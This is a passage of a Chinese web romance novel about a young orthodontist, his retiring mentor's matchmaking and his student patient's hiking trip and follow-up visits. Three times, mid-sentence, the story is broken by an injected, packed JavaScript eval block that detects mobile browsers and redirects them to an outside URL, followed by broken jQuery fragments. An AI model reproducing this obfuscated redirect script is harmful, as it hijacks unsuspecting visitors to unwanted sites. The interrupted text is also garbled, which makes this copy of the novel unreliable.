“梁子,今天这场合儿,你不表示表示?”程烨刚才就想问了。 “表示什么?” “我还以为你得投其所好,给穆老师送个文房四宝之类的?这样咱俩一块进去,权当一起送的了。” 梁决瞥了他一眼,一下子明白了程烨为什么非得绕道过来接上他,无奈开口道:“表示不在这一时,我订了个蛋糕,拜托师姐取了带去。” “啊?那、那到前面路口我停一下,去买个花,拿手里好看。” “随你。” 信号灯转绿,程烨导航了最近的一家花店,车子朝着路线的方向驶去。 半小时后,车子停在餐厅旋转门前,服务生礼貌迎过来,拉开右侧车门,梁决一边道谢一边捧着一束浅粉色康乃馨下了车,人帅花美,着实亮眼。 不远处,程烨停好车后,朝他小跑过来,梁决把花一递,物归原主,两人推门进餐厅,门口的服务生见到来人,先确认包间号,随后引导他们上二楼到了包间门口。 包间门开着,里面传出断断续续的说笑声,程烨探身吆喝了一声:“各位各位,我俩这没来晚吧?”闻声,大家扭头看过来,笑着调侃说:“哟!这是从哪来的两个大帅哥?”“这不是我们的梁院草和护花使者嘛!”“快进来快进来,再晚一会,就让你们自罚三杯了!” “哎哎哎,我今儿开车不能喝,等会还得把我们梁院草送回去呢,是吧,梁子?”两人进了包间,程烨把花放在一旁的小茶几上,然后揽住梁决的肩膀,冲他挤眼睛。 “你少来,我可以打车。”梁决自然不理会他的油嘴滑舌,甩开程烨的胳膊,转身去和许秋说话:“师姐,穆老师什么时候到,我去外面迎一下?” “应该快了,走吧走吧,我和你一起。”说着,两个人离开包间,周围顿时安静下来,许秋找了个话题问:“小梁,最近怎么样?时间过得真快,上班一个月了。” 走廊上,服务生喊着“借过一下”,穿梭在各个包间忙着上菜,梁决落后许秋半个身位,提高音量答道:“是啊,师姐,之前还担心没病人,现在想想真是有点过度焦虑了,闲了不踏实,忙起来又怀念闲着的时候,不过还是忙点好。” “对嘛,趁年轻打拼,而且咱们这个专业,靠的就是见多识广,不说别人,就像我外甥女的乳牙滞留,书本上占不了多少篇幅,只有实际操作了才知道有多少弯弯绕绕。” “对,我也没想到接诊的第一个病例还挺……挺有挑战的。”提起陈心,梁决语气不自觉地柔和了些,“她能信任我这个新手,我心里还是挺感动的,师姐你放心,她的矫正,我会好好负责的。” “瞧你这话说的,我本来就对你很放心。”许秋看着自己师弟脸上认真的神情,竟有一种莫名的欣慰。 两个人没等多久,穆老师到了,许秋和梁决一左一右跟在穆济远后头,包间里的人收到信儿也在门口恭候,一派师门相亲相爱的温馨画面。 穆济远和学生们打过招呼,众人纷纷落座,坐在门口的小师弟知会服务生可以起菜,一大桌十几个人,不知道从谁的一句话开始,氛围又热闹起来。 梁决坐在穆济远的右手边,论辈分他坐不了这个位置,可偏偏他最得穆老师喜欢,大家自然不会有什么意见,顶多是言语上刺挠梁决几句,但本质上还是同一个师门的亲人。 待桌上的菜吃得七七八八,坐席上有一半的人渐渐放下筷子,服务生有眼力见地离开包间准备主食。 穆济远端起茶杯喝了一口,不动声色地环视在座的各位,这其中不乏有已经在领域内掌握话语权的,当然也有初出茅庐尚且稚嫩的,不管是混得好混得差,都是他曾辛勤教导过的学生,看着这一张张脸,他仿佛能回忆起自己的教学生涯。 三尺讲台,为人师的几十年,恍若昨天。 “穆老师。”梁决察觉到穆济远的沉默,轻轻唤了他一声。 “没事,就是看看你们。”穆济远声音浑厚温和,拍了拍梁决的手背,让他不必紧张。 包间门开,服务员顺次送上面食,然后悄声离开,席间也安静下来,大家默契地等着穆济远讲话。 “今天咱们吃这一顿饭,说是欢送我退休,其实也是想借这个机会把你们凑在一起,不认识的熟悉起来,好久没联系的联络起来。“穆济远停顿了下,再开口时声音又沉了些,“虽然我离开教学岗位了,但你们作为我的学生,今后的路还很长,难得有同路人共同扶持,一定要珍惜,这也是我最大的牵挂了。” 这一番话,情真意切,是他作为导师的肺腑之言。 “行了,动筷子,吃面吧。”穆济远摆了下手,示意大家别再这么目光如炬地盯着他看了,这又不是散伙饭,他可没想整得这么煽情。 晚上九点多,包间门从里面打开,聚餐结束,大家三三两两地往外走。 “穆老师,送您出去?”梁决站起身,搀上穆济远的胳膊。 “不急,我有话给你说,小决。”穆济远摆摆手,一边和离席的学生们说着再见,一边低声回他。 “好。”梁决不明所以,也不便多问,只是程烨允诺的包接包送没指望了,他抿了口茶水,安静地等。 “坐吧,是想麻烦你帮老师个忙。”包间里没有旁人,穆济远喊他来沙发坐,“小决啊,我有个留学的外甥女,她叫夏晴,下个月就从意大利回来了,她呢,想着应聘T大艺术学院的新教师,但乍一回国,还是需要些适应的时间,所以我这思前想后,想请你带她熟悉熟悉校园环境,她一个女孩子,倒也不会多麻烦你,你觉得呢?” “穆老师,我……”梁决一时语塞,他断然不能拒绝老师的请求,毕竟穆济远很少让学生给他办私事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984605|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次只是个例外,但如果就这么答应下来,他又觉得这事没这么简单,只是带人熟悉熟悉环境? “小决啊,你不用这么为难,夏晴是个爽朗的姑娘,我想你们年龄相仿,能相处得不错。你考虑考虑?”穆济远慈眉善目,看不出一丝一毫的强迫之意,耐心等待着梁决的答复。 梁决犹豫了下,点头答应了。 他甚至没有问穆济远为什么不找别人,毕竟以穆导师的身份,总能在艺术学院找到更合适的人选吧?以及他并不觉得自己有和女孩子相处的丰富经验,万一自己胜任不了这个差事怎么办?更重要的,这只是单纯的帮忙,还是有什么其他的延伸含义? 梁决咽下了这些问题,因为他明白,既然穆济远开口提了,答案就没那么重要了,剩下的,就看他自己怎么理解了。 送穆济远坐上车,梁决沿着马路散步,他今天晚上只喝了一瓶啤酒,晚风一吹,醉意全无,整个人清醒得很。 走了一会,裤兜里的手机震动,穆济远发来两条消息,一串号码和刚才提到的那个女孩的名字。 “夏晴,137……”在路口停下来,梁决掏出手机把号码复制到微信搜索,页面跳转后显示——小晴Summer,头像是一张女孩用手推着比萨斜塔的照片,大概率就是夏晴本人。 他思忖片刻,在屏幕上点了几下,从申请好友的页面退了出去,打开手机备忘录把号码复制进去,然后按了锁屏键。 事缓则圆,这姑娘不是还没回国吗?到时候再说。 大概是他在路口停留的时间太久,有路过的出租车司机摇下车窗,主动问他:“帅哥去哪儿?” “师傅,T大教师之家,走吗?”梁决礼貌报了地址,待司机师傅点头后,他才拉开后座车门坐进去。 这个点不堵车,司机师傅踩着油门一路疾驰,力道十足的晚风从前窗灌进车里,梁决脑门上出了汗,这风一吹,连打了好几个喷嚏。 “啊呀!不好意思小兄弟,吹着你了!”司机师傅连忙升了车窗,透过后视镜打量这位带着轻微酒气的小伙子,这人长了一张极具书生意气的脸,看着有几分冷峻,虽说是喝了酒,但好在坐姿还算端正,不然他真有点后悔随便在马路上拉客。 “没事的,师傅。”梁决用手揉着太阳穴,闭上了眼睛,并没有在意刚才的插曲。 “小兄弟,看你情绪不好,这么晚一个人喝酒,失恋了?”司机师傅又趁机观察了两眼,暗自猜测他这位乘客八成是为情所困,借酒消愁愁更愁,他开出租十好几年,这种情况见得多了。 梁决闻言,脸色又冷淡了几分,竟不知道应该先反驳哪一句,他既没有独自喝酒,也没有失恋,恰恰相反,他是因为被导师暗戳戳介绍对象而心里不爽,至于为什么不爽,他还需要回去慢慢思考。 “听我一句劝,小兄弟,感情强求不来,得先过好自己的人生,等你到大哥我这个岁数就明白了。”司机师傅见梁决一直不回话,以为是他默认了,于是自顾自地开始抒发人生感慨。 梁决身子一歪,感觉自己的太阳穴更疼了。 *梁决内心os:救命!怎么又来一个外甥女? 陈心内心os:没有本人戏份的时候,都在好好学习,天天向上!(一条来自T大图书馆二楼靠窗座位的消息 15. 第 15 章 不一会儿,出租车刹停在教师之家楼下,因为惯性梁决被安全带勒了一下,大脑也从混沌中清醒过来。 “踏、踏。”进了楼栋,他猛跺了几脚,但没得到期待中的明亮,感应灯是坏了吗?昏暗中,他抬头看不清灯泡的状况,只好开了手电上楼。 到家后,梁决迅速换下衣服,冲了个舒舒服服的澡,从浴室出来,酒气褪去,取而代之的是沐浴露的柑橘味,他把脏衣服扔进滚筒洗衣机,然后坐到沙发上刷手机。 明天就是国庆节了,按照惯例,他这个单身的新入职医生是休不了几天的,他把自己的值班表同步到患者群里,发了个群公告提示注意假期的合理饮食,末尾加了一句“假期愉快!” 处理完工作上的事,他切到自己的个人微信账号,朋友圈有新动态提醒,刷新后是许秋发的一张大合照,配文是:师门小聚,希望穆老师永远年轻! 照片里,面容和蔼的穆济远站在中间,一众学生围着他站成两排,女士在前,男士在后,梁决站在第二排的边上,拍照和吃饭不一样,照片一拍能留存很多年,梁决清楚自己辈儿小,纵使有穆老师的偏爱也不会往中间站。 给许秋的朋友圈点赞后,梁决看了一眼时间,不早了,明天他还要出门诊,不能睡得太晚。 同一时刻,T大女生宿舍楼,陈心躺在床上端详着照片上的梁决,辗转难眠。 手指把照片放大、再放大,直到原本一张众人合照却在屏幕上只显示梁决一人,他穿着休闲装,一手插兜,面色慵懒,是在熟人面前才有的自在。 大概也是她不曾见过的一面。 不仅如此,此刻的陈心比以往更加认清了一个事实:梁决和许秋是亲近的同门,是有工作有收入的大人,而她还是一个待在象牙塔里的学生,每个月还要靠许夏给她转生活费。 某种程度上来说,她和梁决是两个世界的人,唯一的交集只是因为她是他的患者,而又偏偏是医患关系,让有些想法不可说,有些感情不可逾越。 这么想着,陈心翻了个身,蹬掉了身上的薄毯子。 * 早上十点,陈心在手机的震动中醒来,她昨晚睡得不踏实,现在还迷糊着睁不开眼。 手机上,羊家族的微信群有新消息,陈心点进去一划一划地往上翻,最新的一条是刘文文问陈心醒了没,她中午篮球训练结束可以顺道带午饭回来,再往上是乔艺和林梦汇报她们已经到家了,俩人都是T市本地人,国庆假期这几天就回家住。 陈心翻了个身,撩开床帘确认,宿舍里只剩她一个人。 “那我还是吃韩式拌饭吧,回来转你钱。”陈心在群里回复完,爬下床去洗漱,宿舍走廊上比平时安静很多,路过的几个宿舍门落了锁,大概回家的回家,出去玩的出去玩,她也不打算就这么在宿舍宅着。 午饭的点,刘文文打包了两份韩式拌饭回来,陈心道了声谢,随口问:“文文,你想出去玩吗?” “去哪儿?” “嗯……近点的?要不T市的郊外怎么样,我想去爬山,活动活动。” “行啊,不过我这两天都有训练,过几天怎么样?” “可以啊,那我先做做攻略,看看咱们需要带什么上山。” “嗯行。” 出行计划定了之后,陈心才有了一点假期的实感。假期前几天,她洗了床单,晒了被子,还和许夏通了电话,许夏一听她要去爬山,千叮咛万嘱咐注意安全,挂电话前要了刘文文的电话才放心下来。 假期第四天,陈心和刘文文坐上前往南部山区的接驳车,大巴晃悠了一个多时抵达目的地,小松山景区、 小松山并不高,胜在风景秀丽,初秋时节,拾级而上,景色开阔,草丛里还蹲伏着不怕人的小野猫,人景相宜,别有一番趣味。 下了大巴,她们顺着人流的方向去售票处买票,排队入园,原本是想讨清净的山野之地,因为节假日而充满城市的喧嚣。 好在陈心也不反感这样的热闹。 登山的台阶修缮过,高度控制在迈一步刚好,每隔一段山路还增设了供游客休息的石凳,山腰的小广场上摆了几个自动售货机,累了饿了都有解决办法,因此陈心和刘文文各自背了一个小包,装着手机和证件,没什么重量。 半个小时后,两人爬上山顶,日头正好,晒得人睁不开眼睛。 “怎么样,还好吗?”陈心不是爱运动的人,刘文文看她扶着栏杆调整呼吸,关心问道。 “我ok的,这点高度不在话下。”陈心平复下来,视线扫试了一圈,提议道,“那边有个石碑,我看爬上来的人都去那里拍照,咱们也过去拍一张?” 说着,两个人走过去,等一拨一拨游客拍完照离开,石碑才完整呈现在眼前。 石碑有半人高,上面刻了朱红色的三个大字——小松山,看起来已经有些年头,游客拍照时习惯扶着石碑的顶端,那块位置已经被磨得光滑。 陈心和刘文文站在石碑的两侧,请排在她们后面的一位满头银发的婆婆帮忙拍照,婆婆精神矍铄,脖子上挂着单反,即便是拿着二人的手机拍照也相当有专业范儿。 “谢谢婆婆,您给我们拍得真好看!”不过放大看她俩有点眯眼,没办法,阳光太好了。 “哈哈哪有,是你们年轻,怎么拍都好看!” 照片里,两人笑容明媚,手臂舒展,身后是蔚蓝的天空和连绵的青山,陈心把照片分享到羊家族的微信群,说了句:“小松山也太美了,我俩顺利登顶,厉害吧!” “什么?早知道我就不回家了,无聊到长毛。”乔艺发了个愤懑的表情包。 “家人们,实不相瞒,我上一次爬小松山还是小学春游……”林梦隔了一会回道。 “……”陈心对两位土著的发言感到无语。 接着,乔艺往群里扔了个链接,说道:“我看美术馆有个特别展出,下下周,到时候咱们一起去呗,陶冶陶冶情操。” “人家这是意大利油画展,你能看懂吗?还不如去爬山。”刘文文在群里回了句,然后和陈心准备下山。 “看不懂怎么了,多看几次就懂了,再说了文体不分家,爬山看展两手抓,去呗去呗?”乔艺在群里为自己据理力争,结果就是少数服从多数,油画展被列入日程。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984606|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下山后,陈心导航了一家农家乐,是她前几天做攻略时物色好的一家,评价都说吃一回想两回,为了这顿饭也要再来一趟小松山。 果不其然,菜一端上桌,两个人都愣住了。 白色平底瓷盘上盛着酸辣土豆丝,分量扎实,像垒了一座小山,二人趁热夹了一筷子放到碗里,每条土豆丝切得长短匀称,入口是清脆酸辣,相当下饭。 不一会,干煸长豆角和农家小炒肉也端了上来,一时间,两人位的小方桌显得有些局促,只好把暂时不用的茶壶和抽纸搁到一边,收拾利索后,陈心拿起手机给一桌菜拍了张全家福。 饭后,两个人沿着山脚往回走,一路上零散分布着卖东西的小摊贩,面前的筐里装的大多是柿子和板栗一类的农产品,摊贩口中吆喝着都是刚从地里摘的。 等走到景区出口,陈心看到一家文创店,游客进出频繁,生意很好的样子。来都来了,下次来还不知道什么时候,她打算买个冰箱贴留作纪念。 刘文文对这种花里胡哨的东西不太感冒,想着店里本就人满为患,她和陈心说了一声,然后去旁边的树荫下面等人。 文创店里汇聚了五花八门的小玩意儿,陈心目标明确地挑了一款山峰造型的冰箱贴,刚要转身离开,眼神瞟到一旁挂着的木质钥匙坠,深褐色的木块上雕刻着行楷的勇于攀登,她动了心思,选了一个拿到收银台一起付款。 下午两点多,她们乘坐接驳车从小松山景区回市区,不是返程高峰,所以车上和路上都要比来时宽敞。 “这张照片拍得真好,我要发朋友圈,你有意见吗?”车上,陈心翻相册里今天拍的照片,再次感慨在山顶时两人拍的合照,转头问刘文文。 “可以啊,但能手动给我p个墨镜吗?顺便给你自己p一个?” “嗯……有道理,我也是觉得咱俩这迷离的眼神有些别扭,以后爬山得想着带个墨镜的。” 回到宿舍,陈心先照旧更新了“陈小姐的整牙日记”,回复粉丝留言,尤其重点看了看有没有梁决的留言,然后切到微信页面,把登山的照片发送到朋友圈,配文是:勇攀高峰二人组,小松山拿下! “二人组……”下午坐诊的空当,梁决倚着诊室的窗台刷手机,在这条朋友圈停了下来。 他点看照片扫了一眼,照片拍的是大景,画面中间是小松山石碑,在石碑两侧,一边是穿着运动装的陈心,另一边是……梁决思忖,照片中的两人虽然没有并肩而立,但也能看出来这人要比陈心足足高出一头,加上面部的遮挡,只能看到一头利落的短发,难道是…… “嘶——”眉头蹙了一下又很快舒展,梁决没了刷手机的心情,脑海中莫名给这条朋友圈的主人下了判决——不务正业。 正要把手机收进口袋,震动了两下,梁决只好重新点开看,新消息竟是一条好友申请,他有印象,昵称是小晴Summer。 他一直拖着没加的,穆导师的外甥女。 *梁决内心os:爬山好玩吗? 陈心内心os:运动会让我的大脑分泌多巴胺和内啡肽,提升情绪,放松心情!不会满脑子都是梁决! 16. 第 16 章 国庆假期后,陈心约了正畸复诊。 在护士台分诊后,她看了眼头顶的叫号屏幕,医生梁决的那栏现在有一位患者在就诊,下一个就是她了,陈心深吸了口气,朝诊室的走廊走去。 从戴上牙套到现在,一个月的时间有太多的改变,逐渐适应嘴巴里的特殊存在,养成使用辅食剪的习惯,注册的“陈小姐的整牙日记”账号也在持续更新,这一连串因箍牙而引发的事项里,似乎只有一样是她无法掌控的。 “请02号陈心到三诊室就诊。”走廊上的扬声器响起,倚在走廊墙壁的陈心整了整衬衫,走了进去。 “梁医生好,我来复诊。”说完,她小心递上自己的病历本,眼神触到梁决伸过来的手又撇开。 “嗯,适应的怎么样?躺下我看一下。”梁决捏了一下口罩的鼻夹,滑动座椅示意陈心到椅位上准备,配台护士过来给她系上浅蓝色的一次性围巾。 “你觉得牙齿有变化吗?” “好像……齐了很多?” “很多?”梁决话里带笑,“矫正哪有那么快?不过确实看着顺眼了些,今天换一根新弓丝,会再排齐一些。” “嗯。” “再张下嘴。”说着,梁决拿着持针器贴近,按照从前往后的顺序把托槽上的锁扣打开,然后用了些力把弓丝抽了出来,陈心感觉自己下一秒要被从椅背上薅起来了,“好了,跟我来一下,教你刷牙。” “?”陈心闻言一愣,立马跟上梁决的脚步。 洗手池前,梁决递给她一把未开封的牙刷和一小管牙膏,又从旁边取了一次性水杯,这才开口道:“以后每次复诊都带着牙刷来,趁着换新弓丝把牙仔细刷一下,这次先这样。” “好的,谢谢。”陈心松了口气,挤了牙膏开始刷牙。 “我刚才检查你牙面上有些软垢,尤其靠近托槽的位置要多刷几下。”梁决抱着手臂,视线看的是镜子里的陈心,“知道巴氏刷牙法吧?” “知道。”陈心吐了口泡沫。 “等一下,上牙内侧还没刷。”看她伸手要拿一次性水杯,梁决伸手拦了一下,语气严肃道,“刷牙的时候也要专心,不要想别的。” 冤枉,我没想别的啊……她只是受不了被别人盯着刷牙而已。 终于在梁医生的眼神应允下,陈心的刷牙大业圆满完成,低头漱口后,梁决递过来一次性纸巾,再次嘱咐道:“陈心,以后刷牙就要按这个标准来,不能偷懒。” “知、道、了。”陈心仰头看他,眼神里是一本正经的坚定。 “……”目光交错,倒是梁决败下阵来,仓惶道,“行了,那就走吧。” 再回到诊室躺下,护士已经准备好了新的弓丝,梁决换了一副手套,检查确认后将弓丝放入托槽、关闭锁扣,剪掉弓丝末端的一小截,然后问陈心有没有觉得磨嘴的地方。 “嗯……感觉没问题,梁医生。” “好,那起来吧。” 梁决把无影灯推远,滑动座椅到电脑前写病历,边打字边嘱咐道:“回去第一周会比较痛,吃软一些的食物,注意牙齿清洁,一个月之后复诊。” “啊好。”陈心正在低着头和胸前的围巾拉扯,一开始给她系围巾的护士姐姐不知道去哪儿了。 “怎么还挂着围巾?小张呢?”梁决敲好病历,转身看到眼前的景象,一脸挫败的陈心和被揪扯的围巾,他无奈叹了口气,“算了,我来吧。” 陈心稍稍侧身,低着头露出脖颈,屏住呼吸,有些害羞的样子,声音放低道:“梁医生,可能被我弄成死结了……” “确实。”梁决打眼一看,原本的活扣直接成了个小疙瘩,他转身拿剪刀,索性直接把围巾剪断了。 瞬时,围巾的系绳从脖颈滑落,并没有想象中的触碰发生,她心中划过一丝不应该有的失落。 “可以了,下次遇到问题直接说。”梁决顺手把台面清了下,坐回自己的椅子上,把刚才打印好的病历递给陈心。 复诊到这里该结束了。 “知道了,谢谢梁医生。”陈心接过病历放到背包里,手指摸到夹层里的钥匙坠,想了想,还是拿了出来,“梁医生,这是我前两天去爬山买的,不贵重,觉得寓意好,送给你。” “送给我?” “对,礼尚往来嘛,小姨说不能仗着她和你是同门关系,我就随便收别人东西。”她指的是梁决之前给她的那把辅食剪。 礼尚往来,别人的东西……刚才还浮现在梁决脸上的喜色一闪而过,他拿起桌上的钥匙坠,轻轻摩挲着上面的刻字,不仅联想到陈心发在朋友圈的那张意味不明的合照,抬头问:“玩得开心吗?” “啊?”陈心眼神疑惑,本以为他会对钥匙坠发表意见,但没想到竟是关心自己玩得开不开心,便认真回忆道,“特别开心啊,这是我第一次去爬小松山,山里空气好,人的心情自然就好,而且有家农家乐特别好吃,对,你是不是看到我发的朋友圈了!” “嗯,看到了。”那和你一起爬山的人是谁,梁决犹豫要不要借机问下去,但又觉得这有些冒犯患者的隐私,转而道,“谢谢你的礼物,不过……出去玩还是要注意人身安全,T大的管理向来宽松,既然选择读研了,就要以学业为重,人这一生能专心汲取知识的阶段很短暂,反倒是其他的事情不在这一时,以后有的是时间和机会。” “哦……”陈心听得云里雾里,只当梁决是收了礼物后有感而发,她点着头应了。 午休时间,休息室里,梁决刚换下白大褂,准备躺下休息,桌上的手机震动了两下。 “梁决哥,你下周六有时间吗?” “我在意大利的同学知道我回T市了,转给我一个即将举办的画展,你感兴趣吗?” 梁决从床边坐下,点进夏晴发来的链接,扫了一眼标题和前几行,大致是T市美术馆即将展出意大利19世纪的经典油画作品,欢迎广大市民朋友预约观展,门票30元,老人学生和部分列明的人群可以免票。 夏晴从意大利留学,学的又是艺术专业,对这类展陈感兴趣也是理所当然。 只是梁决不明白,看展显然不属于刚归国人士需要他人帮助完成的事情,更像是和尚未熟悉的相亲对象的约会步骤。 他打算措辞回绝。 可转念一想,两个人只在加上好友当天简单寒暄了两句,梁决受导师所托,自然要表示的热情一些,难道这让夏晴产生了什么误会? 再者,这是人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984607|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家姑娘头一回主动提出请求,要是一上来就拒绝,多少缺少一些绅士风度,也是驳了穆济远的面子。 “可以的,夏小姐。”梁决想了一个折中的法子,“介意我再喊一个朋友吗,她正好是T大艺术学院的,之前听穆老师说你有应聘T大的意愿,说不定可以提供一些学校新教师招聘的信息。” “没问题呀,谢谢梁决哥关心,那到时见。” “不客气,到时见。” 梁决揉了揉眉心,心里想着自己哪有什么艺术学院的教师朋友,只是觉得单独和女孩出去的场面有些尴尬,设想一下,两个人看完展总要一起吃顿饭吧,吃饭总要聊点什么吧,整个流程下来,既要周到不冷场,又不能让女孩感到逾矩,相比之下,他宁可泡在医院写一天矫治方案。 对于已经很久没和女孩单独相处的梁决来说,他真的感觉很头痛,不过,这么说也不准确,上一次校迎新晚会后,他还和陈心一起去吃了老孙粥铺,依稀记得当时的氛围好像还不错。 但陈心是他的患者,应该严格来说也不算……吧。 这天下班后,老孙粥铺。 “呦,又好久没来了小梁,吃什么?”老孙给上一个顾客结完账,一抬头看见梁决插着兜准备点单,往他身后望了望,问道,“今天怎么一个人?” “老三样,孙叔。”梁决笑了笑,没回答第二个问题。 “好嘞,坐着等一会,马上好!” 晚上七点,店里空位很多,梁决付了款,找了个离出餐口近的位子坐下。店里新招了一个杂工,上次来还没见,主要负责给顾客送餐和清理桌面,这样老孙就能安心镇守收银柜台。 没一会儿,粥端上来,梁决用勺子搅着散热,已是十月中旬,气温走低,傍晚凉意更加明显,此时喝上一口热粥,从肠胃温暖到心里,抚平了一天的疲惫。 饭后,梁决散步回家。 秋天就是这样好的季节,进退有度,不过分热,不过分冷,一路上有T大的学生迎面走来又擦肩而过,即使走远了些,但晚风总有办法把学生们的闲聊送入他的耳朵,关于发刊被拒,关于组内八卦,关于学生时代才认为重要的种种…… 明明刚毕业不久,梁决却觉得校园和自己已经很远了。 临睡觉前,他习惯看一眼明天的挂号情况,然后从手提包里把带回来的病历简单过一遍,陈心送他的那枚钥匙坠也被装进包里带回家,此刻就挂在书桌上摆的台历边,伏案的间隙,他抬头一撇就能看到这块小小的木质饰品,不知道是不是梁决的心理作用,仿佛能闻到檀木散发出来的淡淡香气。 檀木上刻着勇于攀登四个小字,是收放自如的行楷,梁决在心里叹了口气,自己明明正处在裹足不前的境地。 一天下来,各种事交杂在一起,梁决还没来得及看“陈小姐的整牙日记”,从桌边拿起手机点开,几个小时前就更新了,除了每顿的食物照片,还有一张印有卡通笑脸款式的刷牙计时沙漏,配文是这么写的: “1.每次刷够三分钟。2.正确使用巴氏刷牙法。3.牢记以上两条。” *梁决内心os:求解一个人去老孙粥铺喝粥的孤独等级是多少? 陈心内心os:我爱刷牙,牙齿好好! 17. 第 17 章 大概因为十月份放了七天假,陈心总感觉回来还没上几天课,就快要十月下旬了。 这节课又是网络传播学,包老师在课前让大家提交了各自运营的自媒体账号的后台截图,此刻,她转身指了下身后的投影幕布,上面显示的是根据发帖数、粉丝量、浏览量等几个通用指标而形成的榜单,榜单展示了在不同维度排名前十的账号名称。 “大家基本上在同一时间注册账号,这是一个月后产生的变化与差距。当然,以榜单的形式呈现,一是鼓励做得好的同学,二是让大家好好观察一下,什么风格的账号更容易涨粉,什么样的内容更容易引发用户讨论,大家先看一下。” 顿时,教室里响起窸窣的讨论声,有看到自己的账号上榜的惊喜,也有找了一圈发现落榜的叹息,更多的是互相在猜这是谁的账号,因为包老师并没有把账号所属的学生姓名展示出来,算是保护了一下大家的互联网马甲。 当然,这种保护对陈心是无效的,因为她的账号叫“陈小姐的整牙日记”,放眼教室里参与这门课的学生,虽说陈姓的有几个,戴牙套的也有几个,但同时满足上面两个条件的,只有她自己。 “哎陈心,你可以啊,发帖量第一诶!”乔艺挨着她坐,歪了下肩膀小声说。 “嗯,我也没想到,不过我这个账号的定位就是日更,发帖多很正常。”陈心挺谦虚地解释了句,“你们的美妆号不也上了讨论榜,前几天我还从评论区吃了一个遮瑕的安利,这么一比,我那个号感觉没几个活人……” 当然,梁决除外,他隔三差五地会评论一句,大多是严肃的医嘱,偶尔会根据帖子里的内容有些延伸,比如有一次陈心发了馨园食堂上新的鸡胸肉轻食套餐,他就好奇地问味道怎么样,顺便感叹学校的物价感人,比外面的那些健身餐实惠太多了…… 陈心看到这条评论的时候还有点诧异,心道他怎么知道价格的,仔细一看,原来是照片拍到了窗口贴的价目表,只占了小小的一块地方,需要把照片放大了才能看清的那种。 不愧是医生,严谨仔细,眼神儿真好。 “哪位同学愿意和大家分享一下自己的心得体会?”看下面讨论得差不多了,包老师拍了拍讲桌,把注意力集中过来,期待有人能主动站起来说一说,“你们这么沉闷可不行,咱们搞传播学的,就要能说会道才行。” 然而,台下是一片无动于衷,甚至比刚才更安静了些。 “这样,今天是周四,那就请第四排左数的第四位同学先来谈谈吧?”包老师用手点着逐一数过去,全班的视线也一起跟着转移。 “陈心,是你诶……”林梦朝她嘀咕了一句,两个人交换了一个惆怅的眼神,仿佛在说这也太巧了吧。 陈心收敛了表情,在大家的注视下站了起来,心中升起一种替全班人背锅的勇毅,缓缓开口道:“对,我的账号特别好认,就是整牙日记的那个,咱班好几个同学还关注我了。” “嗯……我也没有什么特别的体会,就把这个账号当成了一个备忘录,记录自己在箍牙期间的饮食,我的粉丝好多也是这个年龄才开始箍牙的,有时候我们会私信聊聊牙齿的情况,互相加油打气,对,我的正畸医生也关注了我,他也挺热心的,反正基本情况就是这样吧,说实话,我也没有把握能坚持更新到什么时候……” 陈心说完,包老师笑着冲她点了下头,示意她可以坐下了,看起来对她的回答还算满意。 “陈心的账号确实有自己的特点,粉丝画像也相对清晰,大家有什么想说的,给她提供点账号内容的新思路?”包老师这是要把陈心的账号当案例来讲。 “既然是日记风格的账号,我觉得她可以尝试vlog,或者短视频之类的,但剪视频要比编辑图片费事一些。”坐在前排的一个男生随口说道。 “人家定位就是plog博主,做vlog干嘛?”林梦插了句话,“而且戴着牙套通常也不喜欢出镜吧?” “啊也是,算我没说。”男生也觉得自己的想法有些想当然了,假装挠头缓解尴尬。 “我看评论区大家都对她的正畸医生挺感兴趣的,可以请这个医生做专业科普,是吧,陈心?” “对啊对啊,陈心不出镜,可以请医生出镜啊!” “如果我是这个医生,我肯定乐意,这不是免费给他做宣传吗?” “……”大家也是真敢想,陈心只是微笑,没有作声。 如果真能邀请梁决和她一起运营账号,一方面有了专业人士背书,另一方面还不会让帖子内容显得单一,仿佛也是个不错的建议,陈心有点动心。 但是怎么开口呢?总不能要求堂堂三甲医院的医生来帮她这个学生完成课堂作业吧?要是请小姨出马当个说客呢? 这边陈心还打算从长计议,措措辞,谁料当天晚上许秋就发了消息过来。 “陈心啊,明天下课有事吗,来小姨家吃饭吧,给你过生日。” “!” 陈心的22岁生日,寿星本人竟然差点忘了。 以前在家里的时候,许夏会把装着压岁钱的红包放在她的枕头下面,她早上醒来往枕头下面一摸,指腹先感受到红包上的浮雕花纹,然后捏一捏红包的厚度,长一岁添一百,这是小时候就说好的。 